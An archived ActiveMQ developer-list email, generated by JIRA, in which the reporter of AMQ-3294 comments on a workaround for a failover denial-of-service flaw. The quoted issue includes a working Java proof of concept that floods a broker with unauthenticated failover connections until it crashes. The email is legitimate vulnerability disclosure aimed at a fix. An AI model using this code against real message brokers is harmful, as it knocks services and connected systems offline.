Return-Path: X-Original-To: apmail-activemq-dev-archive@www.apache.org Delivered-To: apmail-activemq-dev-archive@www.apache.org Received: from mail.apache.org (hermes.apache.org [140.211.11.3]) by minotaur.apache.org (Postfix) with SMTP id B1BA27047 for ; Wed, 31 Aug 2011 17:48:32 +0000 (UTC) Received: (qmail 65658 invoked by uid 500); 31 Aug 2011 17:48:32 -0000 Delivered-To: apmail-activemq-dev-archive@activemq.apache.org Received: (qmail 65399 invoked by uid 500); 31 Aug 2011 17:48:31 -0000 Mailing-List: contact dev-help@activemq.apache.org; run by ezmlm Precedence: bulk List-Help: List-Unsubscribe: List-Post: List-Id: Reply-To: dev@activemq.apache.org Delivered-To: mailing list dev@activemq.apache.org Received: (qmail 65385 invoked by uid 99); 31 Aug 2011 17:48:31 -0000 Received: from athena.apache.org (HELO athena.apache.org) (140.211.11.136) by apache.org (qpsmtpd/0.29) with ESMTP; Wed, 31 Aug 2011 17:48:31 +0000 X-ASF-Spam-Status: No, hits=-2000.5 required=5.0 tests=ALL_TRUSTED,RP_MATCHES_RCVD X-Spam-Check-By: apache.org Received: from [140.211.11.116] (HELO hel.zones.apache.org) (140.211.11.116) by apache.org (qpsmtpd/0.29) with ESMTP; Wed, 31 Aug 2011 17:48:30 +0000 Received: from hel.zones.apache.org (hel.zones.apache.org [140.211.11.116]) by hel.zones.apache.org (Postfix) with ESMTP id 206CD4399F for ; Wed, 31 Aug 2011 17:48:10 +0000 (UTC) Date: Wed, 31 Aug 2011 17:48:10 +0000 (UTC) From: "Luca Carettoni (JIRA)" To: dev@activemq.apache.org Message-ID: <26604429.3546.1314812890129.JavaMail.tomcat@hel.zones.apache.org> In-Reply-To: <5331148.76995.1303497905853.JavaMail.tomcat@hel.zones.apache.org> Subject: [jira] [Commented] (AMQ-3294) ActiveMQ failover Denial of Service MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-JIRA-FingerPrint: 30527f35849b9dde25b450d4833f0394 [ https://issues.apache.org/jira/browse/AMQ-3294?page=3Dcom.atlassian.j= ira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=3D130947= 20#comment-13094720 ]=20 Luca Carettoni commented on AMQ-3294: ------------------------------------- Gary, thanks for your follow-up! Haven't tested it yet but it looks indeed as a possible workaround - at lea= st to avoid a brutal crash. I've just downloaded the latest stable (5.5.0) and it does not include this= configuration option in any of the configuration templates. From the secur= ity standpoint, it will be great to see this transport option enabled by de= fault with a reasonable value. > ActiveMQ failover Denial of Service > ----------------------------------- > > Key: AMQ-3294 > URL: https://issues.apache.org/jira/browse/AMQ-3294 > Project: ActiveMQ > Issue Type: Bug > Components: Broker > Affects Versions: 5.2.0, 5.5.0 > Environment: Linux ubuntu 2.6.32-30-generic and other Linux versi= ons > Reporter: Luca Carettoni > Labels: security > > Abusing the 'failover' feature in ActiveMQ, an unauthenticated user can t= rigger a Denial of Service condition against the broker service.=20 > In detail, an attacker can issue multiple ActiveMQ openwire connection re= quests using the following connection string: =E2=80=A8failover:tcp://:= 61616 > Due to the 'failure' mechanism, all TCP connections remain active even if= a valid session is not created.=20 > Please note that no valid credentials have been used.=20 > After a few thousand requests, a "java.net.SocketException: Too many open= files" exception is triggered causing the freeze/crash of the broker. Conn= ected systems may crash as well.=20 > During my test, the attack took around 4 minutes (in a local network) and= it is highly reliable. This is most likely an abuse of the 'failover' func= tionality. > I've been testing version 5.2.0 and also the latest 5.5.0 release. As bot= h releases are affected, I assume that this issue is present in other versi= ons as well. The problem appears in the default configuration as well as wi= th different authentication plugins enabled. > Proof-Of-Concept: > -------------------- > package openwireclient; > import javax.jms.*; > import org.apache.activemq.ActiveMQConnectionFactory; > public class GoAndCrash { > private static String url =3D "failover:tcp://"; > public static void main(String[] args) throws JMSException { > System.out.println("\n--[ ActiveMQ Denial of Service PoC ]\n"); > url =3D url.concat(args[0] + ":" + args[1]); > int cont =3D 0; > while (true) { > try { > System.out.println("[*] Request #" + cont); > ConnectionFactory connectionFactory =3D new ActiveMQConne= ctionFactory("invalidUser", "invalidPass", url); > Connection connection =3D connectionFactory.createConnect= ion(); > cont++; > connection.start(); > } catch (Exception ex) { > //do nothing > } > } > } > } > -------------------- -- This message is automatically generated by JIRA. For more information on JIRA, see: http://www.atlassian.com/software/jira